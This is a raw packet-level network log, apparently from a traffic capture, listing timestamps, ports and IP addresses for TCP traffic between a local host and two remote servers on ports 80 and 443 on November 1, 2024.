Nov 1, 2024 12:34:34.211838007 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.211852074 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.211863995 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.211864948 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.211879969 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.211891890 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.211898088 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.211904049 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.211921930 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.211921930 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.211935043 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.211945057 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.211956978 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.211970091 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.211982965 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.211994886 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212007046 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212007999 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212007999 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212019920 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212022066 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212053061 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212060928 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212064981 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212080002 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212091923 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212101936 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212105036 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212119102 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212130070 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212142944 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212153912 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212165117 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212176085 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212176085 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212191105 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212202072 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212219954 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212232113 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212327957 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212430000 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212441921 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212455034 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212466955 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212479115 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212480068 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212493896 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212500095 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212507010 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212519884 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212529898 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212532997 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212539911 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212552071 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212553024 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212574959 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212575912 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212596893 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212610006 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212622881 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212627888 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212641001 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212641954 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212654114 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212666988 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212672949 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212680101 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212692976 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212704897 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212708950 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212718010 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212732077 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212735891 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212752104 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212753057 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212766886 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212785959 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212786913 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212799072 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212810993 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212821960 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212821960 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212835073 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212847948 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212857962 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212862015 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212872982 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212882996 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212886095 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212896109 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212903976 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212908030 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212918043 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212920904 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212934971 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212945938 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212954044 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212958097 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212970972 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212979078 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212984085 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.212995052 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.212999105 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.213011980 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.213017941 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.213023901 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.213037014 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.213042974 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.213063002 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.213076115 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.213078022 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.213088989 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.213103056 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.213114023 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.213118076 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.213143110 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.231998920 CET	443	50004	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:34.232140064 CET	50004	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:34.233406067 CET	50004	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:34.233416080 CET	443	50004	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:34.233704090 CET	443	50004	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:34.235127926 CET	50004	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:34.235280991 CET	50004	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:34.235302925 CET	443	50004	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:34.235347986 CET	50004	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:34.235352993 CET	443	50004	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:34.247549057 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.247602940 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.247605085 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.247627020 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.247638941 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.247649908 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.247664928 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.247692108 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.247751951 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.247816086 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.247828960 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.247858047 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.247860909 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.247869968 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.247879028 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.247889996 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.247900963 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.247905016 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.247915030 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.247920990 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.247930050 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.247936964 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.247965097 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.295716047 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.360073090 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.360105038 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.360183954 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.360204935 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.360275984 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.360290051 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.360318899 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.360337019 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.360349894 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.360359907 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.360373020 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.360385895 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.360410929 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.360434055 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.360446930 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.360457897 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.360469103 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.360479116 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.360486031 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.360490084 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.360502005 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.360512018 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.360549927 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.361373901 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.361392975 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.361403942 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.361424923 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.361435890 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.361445904 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.361455917 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.361460924 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.361470938 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.361500978 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.361502886 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.361515045 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.361516953 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.361520052 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.361531973 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.361551046 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.361567020 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.361578941 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.361578941 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.361592054 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.361603022 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.361612082 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.361613035 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.361635923 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.361643076 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.361753941 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.361795902 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.361924887 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.361938000 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.361948967 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.361963034 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.361970901 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.361985922 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.362029076 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362061977 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.362126112 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362222910 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362245083 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362286091 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362293005 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.362312078 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362320900 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.362332106 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362343073 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362366915 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.362411976 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362423897 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362435102 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362445116 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.362447977 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362469912 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.362504959 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362517118 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362528086 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362545013 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.362545967 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362560034 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362569094 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.362570047 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362581968 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362593889 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.362593889 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362608910 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362618923 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.362621069 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362632990 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362634897 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.362646103 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362672091 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.362762928 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362773895 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362785101 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362797022 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362801075 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.362807989 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362818956 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362824917 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.362832069 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362844944 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362850904 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.362862110 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362864017 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.362874985 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362885952 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362896919 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362903118 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.362910986 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362919092 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.362938881 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362948895 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.362956047 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362967968 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362978935 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.362993002 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363008976 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363080025 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363090992 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363101959 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363114119 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363130093 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363132954 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363142014 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363154888 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363157988 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363167048 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363178015 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363183975 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363192081 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363204956 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363210917 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363224983 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363300085 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363318920 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363331079 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363333941 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363344908 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363357067 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363368034 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363373041 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363380909 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363392115 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363395929 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363404989 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363415956 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363415956 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363435030 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363437891 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363451004 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363461971 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363468885 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363471985 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363485098 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363492012 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363496065 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363507032 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363516092 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363516092 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363533020 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363610983 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363622904 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363636017 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363651991 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363662004 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363672972 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363676071 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363687992 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363698006 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363707066 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363708019 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363719940 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363730907 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363730907 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363743067 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363753080 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363755941 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363765955 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363770962 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363778114 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363790035 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363795996 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363801956 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363812923 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363822937 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363833904 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.363833904 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363857985 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.363876104 CET	49996	80	192.168.2.7	185.215.113.16
